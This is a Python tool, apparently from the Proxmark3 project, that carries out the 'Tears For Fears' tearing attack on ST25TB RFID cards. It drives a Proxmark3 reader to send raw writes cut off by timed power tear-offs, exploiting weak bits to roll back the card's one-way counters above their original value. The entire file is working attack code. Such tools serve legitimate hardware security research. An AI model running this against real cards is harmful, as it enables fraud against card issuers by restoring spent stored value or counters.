tools/pm3_tears_for_fears.py

   1 #!/usr/bin/env python3
   2 # -*- coding: utf-8 -*-
   3
   4 #+---------------------------------------------------------------------------+
   5 #|    Tears For Fears : Utilities for reverting counters of ST25TB* cards    |
   6 #+---------------------------------------------------------------------------+
   7 #| Copyright (C) Pierre Granier - 2024                                       |
   8 #|                                                                           |
   9 #| This program is free software: you can redistribute it and/or modify      |
  10 #| it under the terms of the GNU General Public License as published by      |
  11 #| the Free Software Foundation, either version 3 of the License, or         |
  12 #| (at your option) any later version.                                       |
  13 #|                                                                           |
  14 #| This program is distributed in the hope that it will be useful,           |
  15 #| but WITHOUT ANY WARRANTY; without even the implied warranty of            |
  16 #| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the              |
  17 #| GNU General Public License for more details.                              |
  18 #|                                                                           |
  19 #| You should have received a copy of the GNU General Public License         |
  20 #| along with this program. If not, see <http://www.gnu.org/licenses/>.      |
  21 #+---------------------------------------------------------------------------+
  22 #
  23 # Ref:
  24 #  https://gitlab.com/SiliconOtter/tears4fears
  25 #
  26
  27 import argparse
  28 from queue import Queue, Empty
  29 import re
  30 from subprocess import Popen, PIPE
  31 from time import sleep
  32 from threading import Thread
  33
  34 PM3_SUBPROC = None
  35 PM3_SUBPROC_QUEUE = None
  36
  37
  38 class colors:
  39
  40     reset = '\033[0m'
  41     bold = '\033[01m'
  42     disable = '\033[02m'
  43     underline = '\033[04m'
  44     reverse = '\033[07m'
  45     strikethrough = '\033[09m'
  46     invisible = '\033[08m'
  47
  48     purple = '\033[35m'
  49     red = '\033[31m'
  50     green = '\033[32m'
  51     blue = '\033[34m'
  52     lightred = '\033[91m'
  53     lightgreen = '\033[92m'
  54     lightblue = '\033[94m'
  55
  56
  57 def main():
  58
  59     global PM3_SUBPROC
  60     global PM3_SUBPROC_QUEUE
  61
  62     parser = argparse.ArgumentParser()
  63     parser.add_argument("-s",
  64                         "--strat",
  65                         type=int,
  66                         nargs="?",
  67                         const="1",
  68                         default="1",
  69                         dest="strategy",
  70                         help="Strategy to use (default 1)")
  71     parser.add_argument("-b",
  72                         "--block",
  73                         type=int,
  74                         nargs="?",
  75                         const="-1",
  76                         default="-1",
  77                         required=True,
  78                         dest="target_block",
  79                         help="Target Block")
  80     parser.add_argument("-p",
  81                         "--pm3-client",
  82                         type=str,
  83                         default="pm3",
  84                         dest="pm3_path",
  85                         help="pm3 client path")
  86
  87     args = parser.parse_args()
  88
  89     PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
  90     PM3_SUBPROC_QUEUE = Queue()
  91
  92     thread = Thread(target=enqueue_output, args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
  93     thread.start()
  94
  95     if args.target_block != -1:
  96         tear_for_fears(args.target_block, args.strategy)
  97     else:
  98         parser.error("--block is required ")
  99
 100     sub_com('exit')
 101     thread.join()
 102
 103
 104 def enqueue_output(out, queue):
 105     """Continuously read PM3 client stdout and fill a global queue
 106
 107     Args:
 108       out: stdout of PM3 client
 109       queue: where to push "out" content
 110     """
 111     for line in iter(out.readline, b""):
 112         queue.put(line)
 113     out.close()
 114
 115
 116 def sub_com(command, func=None, sleep_over=0):
 117     """Send command to aPM3 client
 118
 119     Args:
 120       command: String of the command to send
 121       func: hook for a parsing function on the pm3 command end
 122
 123     Returns:
 124       result of the hooked function if any
 125     """
 126     global PM3_SUBPROC
 127     global PM3_SUBPROC_QUEUE
 128
 129     result = None
 130
 131     sleep(sleep_over)
 132
 133     PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
 134     PM3_SUBPROC.stdin.flush()
 135     if func:
 136         while not result:
 137             try:
 138                 result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
 139             except Empty:
 140                 PM3_SUBPROC.stdin.write(bytes(
 141                     (command + "\n").encode("ascii")))
 142                 PM3_SUBPROC.stdin.flush()
 143
 144     return result
 145
 146
 147 def set_space(space):
 148     """Placeholder for instrumentalization or do it manually
 149
 150     Args:
 151       space: distance needed
 152
 153     Returns:
 154     """
 155     input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
 156
 157
 158 def parse_rdbl(str_to_parse):
 159     """Return a list of str of a block from pm3 output
 160     Uses `rbdl` in pm3 client
 161
 162     Args:
 163       str_to_parse: string to parse
 164
 165     Returns:
 166       string list
 167     """
 168     tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
 169     if tmp:
 170         # print(tmp)
 171         return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
 172     return None
 173
 174
 175 def parse_UID(str_to_parse):
 176     """Return a card UID from pm3 output
 177
 178     Args:
 179       str_to_parse: string to parse
 180
 181     Returns:
 182       string list
 183     """
 184     tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
 185     if tmp:
 186         return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
 187     return None
 188
 189
 190 def slist_to_int(list_source):
 191     """Return the int value associated to a bloc list of string
 192
 193     Args:
 194       list_source: list to convert
 195
 196     Returns:
 197       represented int
 198     """
 199     return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
 200             (int(list_source[1], 16) << 8) + int(list_source[0], 16))
 201
 202
 203 def int_to_slist(src):
 204     """Return the list of string from the int value associated to a block
 205
 206     Args:
 207       src: int to convert
 208
 209     Returns:
 210       list of string
 211     """
 212     list_dest = list()
 213     for i in range(4):
 214         list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
 215     return list_dest
 216
 217
 218 def ponderated_read(b_num, repeat_read, sleep_over):
 219     """read a few times a block and give a pondered dictionary
 220
 221     Args:
 222       b_num: block number to read
 223
 224     Returns:
 225       dictionary (key: int, value: number of occurrences)
 226     """
 227     weight_r = dict()
 228
 229     for _ in range(repeat_read):
 230         # sleep_over=0 favorize read at 0
 231         # (and allow early discovery of weak bits)
 232         result = slist_to_int(
 233             sub_com(f"hf 14b rdbl -b {b_num}",
 234                     parse_rdbl,
 235                     sleep_over=sleep_over))
 236         if result in weight_r:
 237             weight_r[result] += 1
 238         else:
 239             weight_r[result] = 1
 240
 241     return weight_r
 242
 243
 244 def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
 245     """
 246
 247     Args:
 248       b_num: block number
 249       stop: last tearing timing
 250
 251     """
 252     # Sending RAW writes because `wrbl` spend additionnal time checking success
 253     cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
 254
 255     set_space(1)
 256     dic = ponderated_read(b_num, repeat_read, sleep_over)
 257
 258     for value, occur in dic.items():
 259
 260         indic = colors.reset
 261
 262         if value > original_value:
 263             indic = colors.purple
 264
 265         elif value < original_value:
 266             indic = colors.lightblue
 267
 268         print(
 269             f"{(occur / repeat_read) * 100} %"
 270             f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
 271             f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
 272
 273     target = max(dic)
 274
 275     read_back = 0
 276
 277     # There is no ACK for write so we use a read to check distance coherence
 278     if target > (original_value):
 279
 280         print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
 281               f"\nKeep card at the max distance from the reader.\n")
 282
 283         while (read_back != (target - 1)):
 284             print(f"{colors.bold}Writing :{colors.reset}"
 285                   f" {''.join(map(str,int_to_slist(target - 1)))}")
 286             sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
 287             read_back = slist_to_int(
 288                 sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
 289
 290         while (read_back != (target - 2)):
 291             print(f"{colors.bold}Writing :{colors.reset}"
 292                   f" {''.join(map(str,int_to_slist(target - 2)))}")
 293             sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
 294             read_back = slist_to_int(
 295                 sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
 296
 297     set_space(0)
 298
 299
 300 def strat_1_values(original_value):
 301     """return payload and trigger value depending on original_value
 302     follow strategy 1 rules
 303
 304     Args:
 305       original_value: starting value before exploit
 306
 307     Returns:
 308       (payload_value, trigger_value) if possible
 309       None otherwise
 310     """
 311     high1bound = 30
 312
 313     # Check for leverageable bits positions,
 314     # Start from bit 32, while their is no bit at 1 decrement position
 315     while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
 316         high1bound -= 1
 317         if high1bound < 1:
 318             # No bits can be used as leverage
 319             return None
 320
 321     low1bound = high1bound
 322
 323     # We found a suitable pair of bits at 1,
 324     # While their is bits at 1, decrement position
 325     while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
 326         low1bound -= 1
 327         if low1bound < 1:
 328             # No bits can be reset
 329             return None
 330
 331     trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
 332     payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
 333
 334     return (trigger_value, payload_value)
 335
 336
 337 def strat_2_values(original_value):
 338     """return payload and trigger value depending on original_value
 339     follow strategy 2 rules
 340
 341     Args:
 342       original_value: starting value before exploit
 343
 344     Returns:
 345       (payload_value, trigger_value) if possible
 346       None otherwise
 347     """
 348     high1bound = 31
 349
 350     # Check for leverageable bit position,
 351     # Start from bit 32, while their is no bit at 1 decrement position
 352     while not (original_value & (0b1 << high1bound)):
 353         high1bound -= 1
 354         if high1bound < 1:
 355             # No bits can be used as leverage
 356             return None
 357
 358     low1bound = high1bound
 359
 360     # We found a suitable bit at 1,
 361     # While their is bits at 1, decrement position
 362     while (original_value & (0b1 << low1bound)):
 363         low1bound -= 1
 364         if low1bound < 1:
 365             # No bits can be reset
 366             return None
 367
 368     trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
 369     payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
 370
 371     return (trigger_value, payload_value)
 372
 373
 374 def tear_for_fears(b_num, strategy):
 375     """try to roll back `b_num` counter using `strategy`
 376
 377     Args:
 378       b_num: block number
 379     """
 380
 381     ################################################################
 382     #########  You may want to play with theses parameters #########
 383     start_taring_delay = 130
 384
 385     repeat_read = 8
 386     repeat_write = 5
 387
 388     sleep_quick = 0
 389     sleep_long = 0.3
 390     ################################################################
 391
 392     cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
 393
 394     print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
 395
 396     tmp = ponderated_read(b_num, repeat_read, sleep_long)
 397     original_value = max(tmp, key=tmp.get)
 398
 399     if strategy == 1:
 400         leverageable_values = strat_1_values(original_value)
 401     else:
 402         leverageable_values = strat_2_values(original_value)
 403
 404     if leverageable_values is None:
 405         print(
 406             f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
 407             f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
 408             f" : { bin(original_value)[2:].zfill(32)}")
 409         return
 410
 411     else:
 412         (trigger_value, payload_value) = leverageable_values
 413
 414     print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
 415           f" : { bin(original_value)[2:].zfill(32)}")
 416     print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
 417           f" : { bin(trigger_value)[2:].zfill(32)}")
 418     print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
 419           f" : { bin(payload_value)[2:].zfill(32)}\n")
 420
 421     print(
 422         f"{colors.bold}Color coding :{colors.reset}\n"
 423         f"{colors.reset}\tValue we started with{colors.reset}\n"
 424         f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
 425         f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
 426         f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
 427         f"{colors.purple}\tAbove initial value {colors.reset}")
 428
 429     if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
 430         return
 431
 432     trigger_flag = False
 433     payload_flag = False
 434     t4fears_flag = False
 435
 436     print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
 437           f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
 438
 439     tear_us = start_taring_delay
 440
 441     while not trigger_flag:
 442
 443         for _ in range(repeat_write):
 444
 445             if t4fears_flag:
 446                 exploit_weak_bit(b_num, original_value, repeat_read,
 447                                  sleep_long)
 448
 449             if trigger_flag:
 450                 break
 451
 452             sub_com(
 453                 f"hw tearoff --delay {tear_us} --on ; "
 454                 f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
 455
 456             preamb = f"Tear timing = {tear_us:02d} us : "
 457             print(preamb, end="")
 458
 459             trigger_flag = True
 460
 461             for value, occur in ponderated_read(b_num, repeat_read,
 462                                                 sleep_quick).items():
 463
 464                 indic = colors.reset
 465                 # Here we want 100% chance of having primed one sub-counter
 466                 # The logic is inverted for payload
 467                 if value > original_value:
 468                     indic = colors.purple
 469                     t4fears_flag = True
 470                     trigger_flag = False
 471
 472                 elif value == trigger_value:
 473                     indic = colors.green
 474
 475                 elif value < original_value:
 476                     indic = colors.lightblue
 477
 478                 else:
 479                     trigger_flag = False
 480
 481                 print(
 482                     f"{(occur / repeat_read) * 100:3.0f} %"
 483                     f" : {indic}{''.join(map(str,int_to_slist(value)))}"
 484                     f"{colors.reset} : {indic}"
 485                     f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
 486                     end=f"\n{' ' * len(preamb)}")
 487
 488             print()
 489
 490         tear_us += 1
 491
 492     print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
 493           f"{''.join(map(str,int_to_slist(payload_value)))}\n")
 494
 495     tear_us = start_taring_delay
 496
 497     while True:
 498
 499         for _ in range(repeat_write):
 500
 501             if payload_flag:
 502
 503                 exploit_weak_bit(b_num, original_value, repeat_read,
 504                                  sleep_long)
 505
 506                 tmp = ponderated_read(b_num, repeat_read, sleep_long)
 507                 if max(tmp, key=tmp.get) > original_value:
 508                     print(f"{colors.bold}Success ! {colors.reset}")
 509                     return
 510                 else:
 511                     payload_flag = False
 512
 513             sub_com(
 514                 f"hw tearoff --delay {tear_us} --on ; "
 515                 f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
 516
 517             preamb = f"Tear timing = {tear_us:02d} us : "
 518             print(preamb, end="")
 519
 520             for value, occur in ponderated_read(b_num, repeat_read,
 521                                                 sleep_quick).items():
 522
 523                 indic = colors.reset
 524
 525                 if value > original_value:
 526                     indic = colors.purple
 527                     payload_flag = True
 528
 529                 elif value == payload_value:
 530                     indic = colors.green
 531                     payload_flag = True
 532
 533                 elif value < trigger_value:
 534                     indic = colors.lightblue
 535
 536                 elif value > trigger_value:
 537                     indic = colors.lightred
 538
 539                 print(
 540                     f"{(occur / repeat_read) * 100:3.0f} %"
 541                     f" : {indic}{''.join(map(str,int_to_slist(value)))}"
 542                     f"{colors.reset} : {indic}"
 543                     f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
 544                     end=f"\n{' ' * len(preamb)}")
 545
 546             print()
 547
 548         tear_us += 1
 549
 550
 551 if __name__ == "__main__":
 552     main()